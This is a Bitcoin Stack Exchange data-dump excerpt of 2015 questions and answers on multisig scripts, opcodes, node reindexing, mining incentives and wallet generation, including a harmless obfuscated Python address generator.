  <row Id="36762" PostTypeId="2" ParentId="36758" CreationDate="2015-04-04T12:19:35.917" Score="2" Body="&lt;p&gt;While you can't generate a multisig address directly from a number of non-multisig addresses, you can easily get their public key on a single call. In &lt;code&gt;bitcoin-core&lt;/code&gt; you have to call &lt;code&gt;validateaddress&lt;/code&gt; and then retrieve the &lt;code&gt;pubkey&lt;/code&gt; field from the response, which is the hex value of the raw public key that you can then use to generate your multisig.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2015-04-04T12:19:35.917" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36763" PostTypeId="1" CreationDate="2015-04-04T13:49:07.183" Score="1" ViewCount="604" Body="&lt;p&gt;I'm running Windows 10 technical preview 10049 and I'm running bitcoin-qt from my data hard drive with 1.17TB available disk space. It is a striped volume and due to much data writing and deleting it needs to be defragmented from time to time. Every time I have done this and I start Bitcoin-QT again it gives an error that the database needs to be rebuild what takes ages.&lt;/p&gt;&#xA;" OwnerUserId="24942" LastEditorUserId="2306" LastEditDate="2015-04-04T22:24:23.607" LastActivityDate="2015-06-03T23:51:52.993" Title="Bitcoin database needs to rebuild every time after defrag or reboot" Tags="|blockchain|database|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36764" PostTypeId="2" ParentId="36763" CreationDate="2015-04-04T14:38:57.417" Score="1" Body="&lt;p&gt;Shutdown Bitcoin-QT cleanly and no reindexing is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reindexing of bitcoind database is only needed if the application did not have time to properly shut itself down and write all information in its memory to disk.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-04-04T14:38:57.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36766" PostTypeId="2" ParentId="3337" CreationDate="2015-04-04T15:23:49.737" Score="0" Body="&lt;p&gt;You could really use any address for that matter, as long as whatever address you choose + the message itself + the verification signature are all the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it doesn't prove that your the owner of the address, it just proves that message you sent is the one you expect the receiver to be able to verify. Seems a bit useless to be frank.&lt;/p&gt;&#xA;" OwnerUserId="24943" LastActivityDate="2015-04-04T15:23:49.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36767" PostTypeId="1" AcceptedAnswerId="36769" CreationDate="2015-04-04T18:45:47.937" Score="0" ViewCount="589" Body="&lt;p&gt;The Bitcoin wiki has a page that summarizes &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Bitwise_logic&quot; rel=&quot;nofollow noreferrer&quot;&gt;OP_EQUAL and OP_EQUALVERIFY&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;OP_EQUAL&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opcode (Hex): 135 (0x87)&lt;/li&gt;&#xA;&lt;li&gt;Input: x1 x2&lt;/li&gt;&#xA;&lt;li&gt;Output: True / false&lt;/li&gt;&#xA;&lt;li&gt;Summary: Returns 1 if the inputs are exactly equal, 0 otherwise.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;OP_EQUALVERIFY&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opcode (Hex): 136 (0x88)&lt;/li&gt;&#xA;&lt;li&gt;Input: x1 x2&lt;/li&gt;&#xA;&lt;li&gt;Output: True / false&lt;/li&gt;&#xA;&lt;li&gt;Summary: Same as OP_EQUAL, but runs OP_VERIFY afterward.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;OP_EQUALVERIFY&lt;/code&gt; is listed as having a return code, when it doesn't seem like it should. (&lt;code&gt;OP_EQUAL OP_VERIFY&lt;/code&gt; wouldn't leave anything on the stack.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-04-04T19:31:02.107" Title="Does OP_EQUALVERIFY have a return value?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36768" PostTypeId="2" ParentId="36758" CreationDate="2015-04-04T18:50:51.353" Score="2" Body="&lt;p&gt;This is possible, but there isn't really any code to do it automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of creating a scriptPubKey like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pubkey 1&amp;gt; &amp;lt;pubkey 2&amp;gt; &amp;lt;pubkey 3&amp;gt; 2 OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you'd make one like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP OP_HASH160 &amp;lt;pubkeyhash 1&amp;gt; OP_EQUALVERIFY OP_ROT&#xA;OP_DUP OP_HASH160 &amp;lt;pubkeyhash 2&amp;gt; OP_EQUALVERIFY OP_ROT &#xA;OP_DUP OP_HASH160 &amp;lt;pubkeyhash 3&amp;gt; OP_EQUALVERIFY OP_ROT 2 OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, the code of the receiver would need to change, in order to recognize the output as spendable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably much easier to get their public keys. If they've used their addresses on the network, you can look it up using &lt;code&gt;https://blockchain.info/q/pubkeyaddr/&amp;lt;addr&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;https://blockchain.info/q/pubkeyaddr/1snowqQP5VmZgU47i5AWwz9fsgHQg94Fa&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/q/pubkeyaddr/1snowqQP5VmZgU47i5AWwz9fsgHQg94Fa&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you can use George Kimionis's method to decode addresses.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-05T07:59:20.743" LastActivityDate="2015-04-05T07:59:20.743" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36769" PostTypeId="2" ParentId="36767" CreationDate="2015-04-04T19:29:16.257" Score="1" Body="&lt;p&gt;If the execution of OP_EQUAL gives true, then it does not leave true/false on the stack. If it is false then it leaves false on top of the stack and stops executing. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bstack.push_back(fEqual ? vchTrue : vchFalse);&#xA;if (opcode == OP_EQUALVERIFY)&#xA;{&#xA;if (fEqual)&#xA;    popstack(stack);&#xA;else&#xA;    return set_error(serror, SCRIPT_ERR_EQUALVERIFY);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/src/script/interpreter.cpp#L634-641&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-04-04T19:31:02.107" LastActivityDate="2015-04-04T19:31:02.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36770" PostTypeId="1" CreationDate="2015-04-05T00:44:35.047" Score="0" ViewCount="1644" Body="&lt;p&gt;I've done some research and understand that I'm supposed to post in a newbie forum and wait a while, as a newly registered user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't seem to find the newbie forum.  Does anyone know which top-level forum it lives under?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, no matter where I am, there's always a big banner on my screen saying I can't post.  When I click &quot;How to Enable Posting,&quot; it says there's an error: bitcoind is offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to find a way to contact some staff member.  No luck.  In fact, my private messaging section says I'm not allowed to send messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="24948" LastActivityDate="2019-11-29T23:17:51.063" Title="Can't post on bitcointalk.org" Tags="|bitcoind|bitcointalk|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36771" PostTypeId="2" ParentId="36656" CreationDate="2015-04-05T00:44:39.593" Score="0" Body="&lt;p&gt;OK, I solved this by numerous trial and error CMDs. The problem lay in the Armory implementation, specifically, the &lt;code&gt;--datadir&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;working&lt;/strong&gt; CLI flags:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;ARMORY:&lt;/strong&gt; &lt;code&gt;-qt.exe --testnet --datadir=d:\data\armory\testnet3 --satoshi-datadir=d:\data\bitcoincore --rpcport=8332&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;BITCOIN-QT:&lt;/strong&gt; &lt;code&gt;bitcoin-qt.exe -datadir=&quot;d:\data\bitcoincore&quot; -testnet -rpcport=8332&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Contradicting Armory's FAQ (in the FAQ itself) is the requirement to explicitly identify the &lt;em&gt;testnet&lt;strong&gt;3&lt;/em&gt;&lt;/strong&gt; directory for the &lt;code&gt;--data-dir&lt;/code&gt; flag (&lt;code&gt;--data-dir==SOME\DIR\Armory\testnet3&lt;/code&gt;). If the testnet3 directory isn't identified, Armory confuses the mainnet blockchain data with the testnet chain data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bitcoin.conf&lt;/code&gt; contents were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listen=1&#xA;daemon=1&#xA;server=1&#xA;rpcconnect=127.0.0.1&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-05T00:44:39.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36772" PostTypeId="1" CreationDate="2015-04-05T03:54:02.930" Score="1" ViewCount="1724" Body="&lt;p&gt;I've looked at the various profitably calculator sites and honestly I'm not sure how up to date they are. They don't seem very accurate. Is there one that's better than the others?&lt;/p&gt;&#xA;" OwnerUserId="12920" LastEditorUserId="5406" LastEditDate="2016-02-08T12:58:37.060" LastActivityDate="2016-02-08T12:58:37.060" Title="Is there a reliable and accurate profitability calculator?" Tags="|asic|mining-profitability|scrypt|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36773" PostTypeId="2" ParentId="36750" CreationDate="2015-04-05T09:41:20.953" Score="0" Body="&lt;p&gt;The only way to receive or spend bitcoins is to either have an online wallet or a private key with Bitcoin-qt wallet on your computer. If you for some reasen bought these bitcoins and gave the wrong key (mistyped or so) then you made someone very happy but it is not possible to make the transaction undone.&lt;/p&gt;&#xA;" OwnerUserId="24942" LastActivityDate="2015-04-05T09:41:20.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36774" PostTypeId="1" AcceptedAnswerId="36777" CreationDate="2015-04-05T12:10:35.673" Score="0" ViewCount="102" Body="&lt;p&gt;I'm reading &quot;mastering bitcoin&quot; and got into transaction validation.&lt;br&gt;&#xA;Can you explain to me what is the meaning of &quot;A matching transaction in the pool, or in a block in the main branch, must exist.&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-04-05T14:50:36.957" Title="What is A matching transaction in the pool validation?" Tags="|transactions|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36775" PostTypeId="1" AcceptedAnswerId="36776" CreationDate="2015-04-05T12:56:37.820" Score="1" ViewCount="406" Body="&lt;p&gt;My question is divided into different parts :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can a block include only coinbase transaction ?&lt;/li&gt;&#xA;&lt;li&gt;Why should a miner wait \ include more transaction after starting to create a block ? &lt;/li&gt;&#xA;&lt;li&gt;If a miner stops the mining process for including new arrived transaction, does that makes him re calculate the previous nonce possibilities for creating the block ?  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="5406" LastEditDate="2016-02-08T13:02:15.987" LastActivityDate="2016-02-08T13:02:15.987" Title="What is the motive of a miner to include transaction in a block?" Tags="|mining-reward|mining-theory|transaction-selection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36776" PostTypeId="2" ParentId="36775" CreationDate="2015-04-05T14:44:35.943" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Blocks can contain whatever is valid, anything beyond that is up to the miner to decide. Including no transactions other than the coinbase transaction is valid, and there is no way of having a rule where this is not the case (was there transactions to include at that point in time?). Miners will absolutely not wait for transactions to be available to mine, as their main source of income is the block reward. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Miners are incentivized to include transactions by the creator of the transaction paying a fee, and the miner collecting it. Including no transactions mean they miss out on income. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining is progress free, each attempt is completely unique and has the same chance of winning no matter how many you have made previously or what the contents of those attempts were. Inclusion or exclusion of transactions has zero effect on the chance of a block winning or not as the header is exactly the same length for each and every attempt.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-04-05T14:51:57.540" LastActivityDate="2015-04-05T14:51:57.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36777" PostTypeId="2" ParentId="36774" CreationDate="2015-04-05T14:50:36.957" Score="1" Body="&lt;p&gt;In order for a transaction to be valid all of the outputs it spends must also be valid as well. Before accepting a transaction into the memory pool or accepting it into it's local block chain, one of the checks is to ensure all of it's parents are available to be spent.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If an unconfirmed transaction sent via the network is received and it's parent outputs do not exist, it is ignored or placed in a holding pool to wait and see if it's parent outputs might become available in the future. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If a block contains a transaction for which the outputs it is spending do not exist or are invalid, then the entire block is invalid and it is discarded. Any node sending you an invalid block like this is wasting your node's time and is banned as a result. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-05T14:50:36.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36778" PostTypeId="1" AcceptedAnswerId="36781" CreationDate="2015-04-05T16:36:43.340" Score="0" ViewCount="211" Body="&lt;p&gt;Is it possible to generate private and public keys using only a calculator?   If not how many lines of code would it take to write a wallet generator, and how difficult would it be?   How would you do this? &lt;/p&gt;&#xA;" OwnerUserId="21301" LastActivityDate="2015-04-06T02:03:21.160" Title="Create a wallet generator?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36781" PostTypeId="2" ParentId="36778" CreationDate="2015-04-06T01:58:34.943" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://preshing.com/20131219/bitcoin-address-generator-in-obfuscated-python/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Address Generator in Obfuscated Python&lt;/a&gt; is a fun piece  of &lt;a href=&quot;http://www.python.org&quot; rel=&quot;nofollow&quot;&gt;Python&lt;/a&gt; 2.7 code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_                   =r&quot;&quot;&quot;A(W/2,*M(3*G&#xA;               *G*V(2*J%P),G,J,G)+((M((J-T&#xA;            )*V((G-S)%P),S,T,G)if(S@(G,J))if(&#xA;         W%2@(S,T)))if(W@(S,T);H=2**256;import&amp;amp;h&#xA;       ashlib&amp;amp;as&amp;amp;h,os,re,bi    nascii&amp;amp;as&amp;amp;k;J$:int(&#xA;     k.b2a_hex(W),16);C$:C    (W/    58)+[W%58]if(W@&#xA;    [];X=h.new(&quot;rip           em    d160&quot;);Y$:h.sha25&#xA;   6(W).digest();I$                 d=32:I(W/256,d-1)+&#xA;  chr(W%256)if(d&amp;gt;0@&quot;&quot;;                  U$:J(k.a2b_base&#xA; 64(W));f=J(os.urando       m(64))        %(H-U(&quot;AUVRIxl&#xA;Qt1/EQC2hcy/JvsA=&quot;))+      1;M$Q,R,G       :((W*W-Q-G)%P,&#xA;(W*(G+2*Q-W*W)-R)%P)       ;P=H-2**       32-977;V$Q=P,L=&#xA;1,O=0:V(Q%W,W,O-Q/W*                      L,L)if(W@O%P;S,&#xA;T=A(f,U(&quot;eb5mfvncu6                    xVoGKVzocLBwKb/Nst&#xA;zijZWfKBWxb4F5g=&quot;),      U(&quot;SDra         dyajxGVdpPv8DhEI&#xA;qP0XtEimhVQZnEfQj/       sQ1Lg=&quot;),        0,0);F$:&quot;1&quot;+F(W&#xA; [1:])if(W[:1           ]==&quot;\0&quot;@&quot;&quot;        .join(map(B,C(&#xA;  J(W))));K$:               F(W          +Y(Y(W))[:4]);&#xA;   X.update(Y(&quot;\4&quot;+                     I(S)+I(T)));B$&#xA;    :re.sub(&quot;[0OIl    _]|            [^\\w]&quot;,&quot;&quot;,&quot;&quot;.jo&#xA;     in(map(chr,ra    nge    (123))))[W];print&quot;Addre&#xA;       ss:&quot;,K(&quot;\0&quot;+X.dig    est())+&quot;\nPrivkey:&quot;,K(&#xA;         &quot;\x80&quot;+I(f))&quot;&quot;&quot;;exec(reduce(lambda W,X:&#xA;            W.replace(*X),zip(&quot; \n&amp;amp;$@&quot;,[&quot;&quot;,&quot;&quot;,&#xA;               &quot; &quot;,&quot;=lambda W,&quot;,&quot;)else &quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd check out these two Python modules:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pypi.python.org/pypi/python-bitcoinaddress&quot; rel=&quot;nofollow&quot;&gt;Bitcoinaddress&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;Pybitcointools&lt;/a&gt; (a fantastic Bitcoin library: see the &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/README.txt&quot; rel=&quot;nofollow&quot;&gt;README.txt for usage&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A private key is just/can be a very large number. However it's not possible to use a calculator to calculate an address easily, mainly because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;modular arithmetic is involved&lt;/li&gt;&#xA;&lt;li&gt;base 58 check is not a straightforward conversion&lt;/li&gt;&#xA;&lt;li&gt;there's appended bytes and such&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd recommend either &lt;a href=&quot;http://gobittest.appspot.com/Address&quot; rel=&quot;nofollow&quot;&gt;this web app&lt;/a&gt; to get the next best thing.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-06T02:03:21.160" LastActivityDate="2015-04-06T02:03:21.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36782" PostTypeId="2" ParentId="36757" CreationDate="2015-04-06T02:04:08.940" Score="1" Body="&lt;p&gt;&lt;em&gt;Disclosure: I work for Coinprism.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counterparty uses the Blockchain for timestamping only. It doesn't use it as a ledger since it builds it's own &quot;parallel&quot; ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result most advanced functionality of the Bitcoin ledger can't work on Counterparty:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;nLockTime&lt;/li&gt;&#xA;&lt;li&gt;SPV&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coindesk.com/could-the-bitcoin-lightning-network-solve-blockchain-scalability/&quot; rel=&quot;nofollow&quot;&gt;Payment Channels and lightning networks&lt;/a&gt; (very important for scalability)&lt;/li&gt;&#xA;&lt;li&gt;Unconfirmed transaction chaining (important for mobile payments and fast transaction processing)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to use all bitcoin features out of the box, you need to look at &lt;a href=&quot;https://github.com/OpenAssets/open-assets-protocol&quot; rel=&quot;nofollow&quot;&gt;colored coins&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2015-04-06T02:04:08.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36783" PostTypeId="2" ParentId="36770" CreationDate="2015-04-06T03:27:53.060" Score="1" Body="&lt;p&gt;It's likely that your account has &quot;units of evil&quot; which require you to pay money to remove them. Bitcoin, the program used to accept these payments, is down. See also &lt;a href=&quot;https://bitcointalk.org/index.php?topic=953005.msg10434122#msg10434122&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=953005.msg10434122#msg10434122&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have restrictions on your account due to being a new user. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11089/why-cant-i-participate-on-bitcointalk-org?lq=1&quot;&gt;Why can&amp;#39;t I participate on bitcointalk.org?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2015-04-06T03:27:53.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36784" PostTypeId="2" ParentId="36717" CreationDate="2015-04-06T04:36:34.927" Score="-2" Body="&lt;p&gt;Virtually nothing... once blockchain trimming and instant transactions built directly into the coin are implemented, which are much better ways to deal with the issue.&lt;/p&gt;&#xA;" OwnerUserId="13312" LastActivityDate="2015-04-06T04:36:34.927" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36785" PostTypeId="2" ParentId="34063" CreationDate="2015-04-06T04:51:30.573" Score="3" Body="&lt;p&gt;It's hardware specific, and most of the information for Bitcoin mining ASIC are under an NDA so this can't be posted publicly. There's very little utility in returning difficulty one shares to the controller, for a device doing 1TH/s it would mean dealing with hundreds of results a second that the controller is just throwing away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty of a &quot;share&quot; is whatever the hash target was, if we have a target of difficulty 256, then any valid block header with a difficulty more than this would make that &quot;share&quot; valid for the target. Shares with a vastly higher difficulty (in the billions today) might also be valid as a block for their parent pool. Shares are only used by pools to gauge how much work a client is putting into finding a block (they are simply blocks with too low of a difficulty to be valid), they're completely useless for anything else and thrown away. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-06T04:51:30.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36786" PostTypeId="2" ParentId="30250" CreationDate="2015-04-06T04:55:30.580" Score="1" Body="&lt;p&gt;Large wallets take significantly longer to initialize and eventually bog down the client to the point of making it completely unusable (calls that attempt to sort usable outputs to spend for example get slower). Bitcoin Core's wallet really isn't designed for commercial scale use, but many people have found it usable with half gigabyte wallets (hundreds of thousands of addresses and transactions) or more in this sort of setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get beyond the scaling of Bitcoin Core the only other realistic option is moving into a completely custom wallet system, though this has significant risk and cost involved. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-04-06T04:55:30.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36788" PostTypeId="1" AcceptedAnswerId="36791" CreationDate="2015-04-06T08:29:33.650" Score="1" ViewCount="1408" Body="&lt;p&gt;I am learning how to handle multisig. First I created a 2-3 multisig address with all keys from my test wallet (bitcoind on server) and sent money to the new multisig address from another wallet. The transaction shows in the test wallet and I can use the unspent output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I created a 2-2 address with one key from the test wallet and one key from another wallet, and sent money to the new address from another wallet.&#xA;The transaction shows on blockchain.info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/910298ae8133cc142009539298b6e2127b2c49960facd3b21470e130d07a1701&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/tx/910298ae8133cc142009539298b6e2127b2c49960facd3b21470e130d07a1701&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't show in the test wallet, and the new multisig address has zero balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading this previous Q/A:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28146/multisig-doesnt-work-unless-all-keys-were-generated-from-the-current-wallet&quot;&gt;Multisig doesn&amp;#39;t work unless all keys were generated from the current wallet?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that in July 2014 Bitcoin Core only showed transactions to multisig addresses with all keys in its wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is that still the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If so, can I still use the unspent output and how?&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-04-09T02:29:42.577" Title="Multisig addresses with keys from different wallets" Tags="|multi-signature|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36790" PostTypeId="2" ParentId="36772" CreationDate="2015-04-06T12:40:51.413" Score="1" Body="&lt;p&gt;All the calculators I have seen have been correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three typical sources of the confusion you are experiencing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. The calculator is NOT telling you what you will earn in the next 24 hours.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, mining calculators cannot tell you exactly what you will earn from day to day. And they're not trying to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had a dice calculator it would tell you that your average roll will be 3.5. You can roll a die 1 time, get a 6 and call bullshit because 6 is far from 3.5. But the calculator wasn't trying to tell you what your next roll will be. It cannot know the future. Neither can mining calculators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What they are telling you is the average expected income with your hashrate mining at the given difficulty. Over the long term variance evens out, but something short like a single day has a lot of variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common mistake among beginners is to try a few different mining pools for one day each and declare the one that paid the best as the most profitable pool. This is like buying one scratch ticket from three different lotteries and declaring one of the lotteries the best because you won on that ticket. This sort of thing makes absolutely no sense once you learn about variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Payouts lag behind mining work.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another source of confusion is that pay from most pools lags behind the work you do. For example, many pools use PPLNS with shifts and pay for your work as long as your work is among the 10 latest shifts at the time when a block is found. If your work is eligible for pay (in the 10 latest shifts) for e.g. 48 hours, then it will take 48 hours before the work can no longer get paid more coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the pay after 2 of those 48 hours you are sure to be unhappy with how much you've been paid. This is like working a single day and then complaining to your boss that you didn't get paid, when your salary is being paid on a monthly basis. Note that 48 hours is just an example, this will vary from pool to pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Calculators don't include all the factors&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a much smaller issue than the two others, but can still be useful to be aware of. There are many factors that affect your mining income, and most are ignored by calculators. I wrote about this here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36725/btc-hashes-second-rates-for-various-pools/36747#36747&quot;&gt;BTC/hashes/second rates for various pools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-04-06T12:40:51.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
